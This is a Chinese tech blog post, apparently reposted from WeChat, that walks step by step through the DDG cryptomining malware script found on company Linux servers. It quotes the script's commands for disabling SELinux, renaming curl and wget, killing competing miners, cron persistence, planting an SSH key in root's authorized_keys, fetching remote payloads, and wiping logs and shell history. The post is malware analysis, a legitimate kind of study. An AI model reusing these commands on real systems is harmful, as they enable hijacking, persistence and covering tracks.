当前位置: 首页 > 科技观察

“挖矿脚本”对我来说很难吗?

时间:2023-03-12 19:04:28 科技观察

公司有几台机器。最近CPU狂跑,好像吃了药一样,一直发热。由于机器太多,少之又少,安全防护还没有到位,一直趴在角落里疯跑。图片来自Pexels直到一个统一的监控脚本接管了机器,异常才浮出水面。最后发现了一些奇怪的进程,发现是挖矿脚本。下载下来研究了一下,发现这个剧本的作者水平比较高。虽然在别人的机器上挖矿是不道德的,但也掩盖不了编剧的风骚操作。采矿是计算机技术中最令人困惑的活动之一,但它可以赚钱。据悉,该脚本名为DDG,目前已挖出价值超过1000万元的虚拟货币。出于学习的目的,我稍微分析了一下这个神奇的脚本,也算是吸取了它的精华,为我所用。这件事我没敢跟老板说,因为他不明白,惹来了麻烦。但是和大家交流也无妨,因为你懂。01.Code1#!/bin/sh脚本的第一行看起来像是注释,其实不是。它指定将使用哪个shell来执行下一个脚本。我们平时使用的bash、zsh等都属于sh的超集。本脚本使用sh作为执行shell,具有更好的可移植性。02.代码2setenforce02>dev/nullechoSELINUX=disabled>/etc/sysconfig/selinux2>/dev/nullsetenforce是linuxselinux防火墙配置命令,执行setenforce0表示关闭selinux防火墙。2代表标准错误(stderr)。所以后面使用重定向字符将命令的错误输出定向到/dev/null设备。这个设备是一个虚拟设备,这意味着它什么都不做。很适合悄悄做坏事。03.Code3sync&&echo3>/proc/sys/vm/drop_caches脚本贴心的帮我们释放了一些内存资源,以便获取更多的资源用于挖矿。众所周知,Linux系统在长时间运行的过程中,会产生大量的缓存。清除的方法是在drop_caches文件中写入一个数字,通常为3。sync命令将所有未写入的系统缓冲区写入磁盘,执行后可以安全释放缓存。04.Code4crondir='/var/spool/cron/'"$USER"cont=`cat${crondir}`ssht=`cat/root/.ssh/authorized_keys`echo1>/etc/sysupdatesrtdir="/etc/sysupdates"bbdir="/usr/bin/curl"bbdira="/usr/bin/cur"ccdir="/usr/bin/wget"ccdira="/usr/bin/wge"mv/usr/bin/wget/usr/bin/getmv/usr/bin/xget/usr/bin/getmv/usr/bin/get/usr/bin/wgemv/usr/bin/curl/usr/bin/urlmv/usr/bin/xurl/usr/bin/urlmv/usr/bin/url/usr/bin/cur没错,上面的语句完成了一些常用的操作。值得注意的是,它使用mv命令对我们常用的一些命令进行了重命名。这条命令执行的时候,会出现分功能的情况。该脚本更改了计算机上的一些文件,这是一种犯罪行为。为了复用一些功能,脚本抽象了很多功能。我们直接跳到main函数的执行,看一下流程。05.代码5首先是kill_miner_proc函数。代码很长,就不全部贴出来了。kill_miner_proc(){psauxf|grep-vgrep|grep"mine.moneropool.com"|awk'{print$2}'|xargskill-9...pkill-fbiosetjenkinspkill-fLoopback...crontab-rrm-rf/var/spool/cron/*矿场是一个爱与死的场。该方法首先使用ps、grep、kill组合杀掉节点的挖矿脚本,然后停止节点的cron脚本。感觉就像黑吃黑。在此脚本中,使用了pkill命令。这个命令会终止进程,根据终端号踢出用户,比较暴力。06.代码6接下来执行kill_sus_proc函数。psaxf-o"pid"|whilereadprociddo...doneps加上o参数,可以指定要输出的列,这里只输出进程的pid,然后使用read函数遍历procid。07.代码7ls-l/proc/$procid/exe|grep/tmpif[$?-ne1]then...fi上面就是遍历操作过程,我们可以看到if语句的语法。$在哪里?指的是前一个命令的退出状态。0表示没有错误,任何其他值表示错误。-ne表示不相等,表示可以匹配字符串tmp。08.Code8psaxf-o"pid%cpu"|awk'{if($2>=40.0)print$1}'|whilereadprociddo...done呵呵,上面还有一个循环遍历。但这一次,目标是使用40%以上CPU的进程。这有点狠:要是影响到我的挖矿进程,我就死定了!为什么太急了?09.代码9之后,脚本针对不同的用户属性进行不同的操作。第一个是根用户。通过判断是否有$rtdir文件来判断是否为root权限。chattr-i/etc/sysupdate*chattr-i/etc/config.json*chattr-i/etc/update.sh*chattr-i/root/.ssh/authorized_keys*chattr-i/etc/networkservice使用chattr命令,把一些重要的文件变成只读属性,不能随意更改,也够害人的了。然后,运行cron程序,将脚本的更新服务加入定时。这是以下脚本。10.代码10if[!-f"/usr/bin/crontab"]thenecho"*/30****sh/etc/update.sh>/dev/null2>&1">>${crondir}else[[$cont=~"update.sh"]]||(crontab-l;echo"*/30****sh/etc/update.sh>/dev/null2>&1")|crontab-finote[[$cont=~"update.sh"]]这是一小段代码,非常诡异。[[]]是内置于shell中的命令,支持字符串的模式匹配。使用=~时,它甚至还支持shell的正则表达式,功能极其强大。它的输出是一个bool类型,所以它可以使用||连接起来。后面的单括号()是一个命令组,括号内的多个命令用分号隔开,最后一个命令可以没有分号;效果和`cmd`基本一样。11、Code11完成预定任务后,需要配置ssh自动登录,将公钥加入信任列表。chmod700/root/.ssh/echo>>/root/.ssh/authorized_keyschmod600root/.ssh/authorized_keysecho"ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/12.Code12说CaoCaoCaoCao在这里,使用了下面的脚本。filesize_config=`ls-l/etc/config.json|awk'{print$5}'`if["$filesize_config"-ne"$config_size"]thenpkill-fsysupdaterm/etc/config.jsondownloads$config_url/etc/config.json$config_url_backupelseecho"noneeddownload"fi通过一系列操作得到配置文件的大小,如果判断文件大小不一致,则下载一个新的。这是使用下载功能的地方。shell中的函数看着怪怪的,后面的参数传递跟脚本传递一样传递给函数。13、在代码13downloads$config_url/etc/config.json$config_url_backup这句中,传递了三个参数。当然,文件是从远程服务器下载的。域名以.de结尾,证明是德文域名,我们对此一无所知。下载(){if[-f"/usr/bin/curl"]thenecho$1,$2http_code=`curl-I-m10-o/dev/null-s-w%{http_code}$1`if["$http_code"-eq"200"]thencurl--connect-timeout10--retry100$1>$2elif["$http_code"-eq"405"]thencurl--connect-timeout10--retry100$1>$2elsecurl--connect-timeout10--retry100$3>$2fielif[-f"/usr/bin/cur"]thenhttp_code=`cur-I-m10-o/dev/null-s-w%{http_code}$1`if["$http_code"-eq"200"]thencur--connect-timeout10--retry100$1>$2elif["$http_code"-eq"405"]thencur--connect-timeout10--retry100$1>$2elsecur--connect-timeout10--retry100$3>$2fielif[-f"/usr/bin/wget"]thenwget--timeout=10--tries=100-O$2$1if[$?-ne0]thenwget--timeout=10--tries=100-O$2$3fielif[-f"/usr/bin/wge"]thenwge--timeout=10--tries=100-O$2$1if[$?-eq0]thenwge--timeout=10--tries=100-O$2$3fifi}在我看来,这个代码的作者又臭又长,根本没有体现出他应有的水平。应该是迫于deadline,没有考虑代码的复用,所以写的这么不规范。正如我们上面提到的,脚本更改了几个命令的名称,包括curl。这个命令太强大了,脚本作者忍不住加了很多参数:-I:用来测试http头信息。-m:设置最大传输时间。-o:指定要保留的文件名。/dev/null这里,呃呃呃...-s:静默模式,不输出任何东西。--connect-timeout:连接超时。--retry:重试次数,好狠,100次。如果你没有卷曲?然后使用替代的wget,套路是一样的。14.Code14之后是一系列类似的操作,最后是对iptables的一批操作。-jDROPserviceiptablesreload15.Code15细心的脚本作者,也使用了清理操作日志的命令。history-cecho>/var/spool/mail/rootecho>/var/log/wtmpecho>/var/log/secureecho>/root/.bash_history不显示任何死角,潇洒走开。可见,不说是真正的挖矿程序,就这个小脚本,作者也是下了很大功夫的。脚本中命令众多,使用方法多样,压缩格式优雅。除了有点啰嗦,没有加密,是个很好的学习脚本。看了看被控制的机器后,我赶紧偷偷的重装了机器。就当做梦吧。老板一问,什么事也没有。作者:品味小姐姐简介:专注于基础架构和Linux。十年架构,每天百亿流量,与你探讨高并发世界,给你不一样的滋味。个人微信xjjdog0,欢迎加好友进一步交流。编辑:陶佳龙来源:转载自微信公众号味觉小姐(ID:xjjdog)